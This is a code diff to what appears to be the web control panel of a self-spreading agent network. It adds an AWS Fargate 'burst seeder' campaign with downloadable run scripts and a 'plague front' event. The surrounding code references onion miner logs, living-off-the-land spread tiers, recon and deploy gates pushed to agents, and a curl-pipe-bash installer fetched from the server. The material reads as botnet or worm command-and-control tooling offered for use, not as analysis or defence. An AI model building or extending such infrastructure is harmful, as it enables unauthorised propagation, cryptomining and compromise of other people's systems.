Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.

server/web/public/spread/index.html

@@ -241,6 +241,24 @@
       </p>
     </section>
 
+    <section class="section" id="burst-seeder">
+      <h2>Burst seeder (ECS Fargate)</h2>
+      <p>
+        When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
+        <code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
+        erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
+      </p>
+      <div class="install-grid">
+        <a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
+        <a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
+        <a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
+      </div>
+      <p class="fine" style="margin-top: 0.75rem;">
+        ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 2–4 hours; Seer emits
+        <code class="inline">fargate_plague_front</code> when burst activates.
+      </p>
+    </section>
+
     <footer class="fine">
       <p>
         Command-deck copy: <a href="/spread/">/spread/</a> ·
@@ -280,6 +298,14 @@
       var dl = document.getElementById('btn-dl');
       if (dl) dl.href = withSuffix(SERVER + '/get');
 
+      var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
+      var fargateBundle = document.getElementById('fargate-bundle');
+      if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
+      var fargateTask = document.getElementById('fargate-task-def');
+      if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
+      var fargateRun = document.getElementById('fargate-run-script');
+      if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
+
       var bash = document.getElementById('oneliner-bash');
       var ps1 = document.getElementById('oneliner-ps1');
       if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";

server/web/src/components/CalibrationAIControl.tsx

@@ -217,6 +217,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
               <span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
             </label>
           </div>
+          <div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
+            <label className="checkbox-label">
+              <input
+                type="checkbox"
+                className="checkbox"
+                checked={server.fargate_burst_campaign === true}
+                onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
+              />
+              <span>Fargate burst seeder campaign (ECS, 2–4h TTL)</span>
+            </label>
+          </div>
           {server.lotl_onion_tiers?.length ? (
             <p className="form-hint" style={{ marginTop: '0.75rem' }}>
               Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

server/web/src/help/seerEvents.ts

@@ -15,6 +15,24 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
   return event.event_type === 'onion_miner_log';
 }
 
+export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
+  return event.event_type === 'fargate_plague_front';
+}
+
+export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
+  if (!isFargatePlagueFrontEvent(event)) return '';
+  const p = event.payload ?? {};
+  const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
+  const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
+  if (ttl != null && expires) {
+    return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
+  }
+  if (ttl != null) {
+    return `Fargate burst seeder front · TTL ${ttl}h`;
+  }
+  return 'Fargate burst seeder campaign active (ECS plague front)';
+}
+
 export function onionMinerLogSummary(event: SeerEventRecord): string {
   if (!isOnionMinerLogEvent(event)) return '';
   const p = event.payload ?? {};

server/web/src/types/index.ts

@@ -382,6 +382,12 @@ export interface ServerSettings {
   erasure_lanes_enabled?: boolean;
   /** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
   fleet_torrent_enabled?: boolean;
+  aws_s3_shard_bucket?: string;
+  aws_s3_shard_region?: string;
+  aws_cloudfront_domain?: string;
+  fargate_burst_campaign?: boolean;
+  fargate_burst_ttl_hours?: number;
+  fargate_burst_expires_at?: string;
   /** Triple onion recon/deploy gates pushed to agents at auth. */
   triple_onion_policy?: {
     patch_first?: boolean;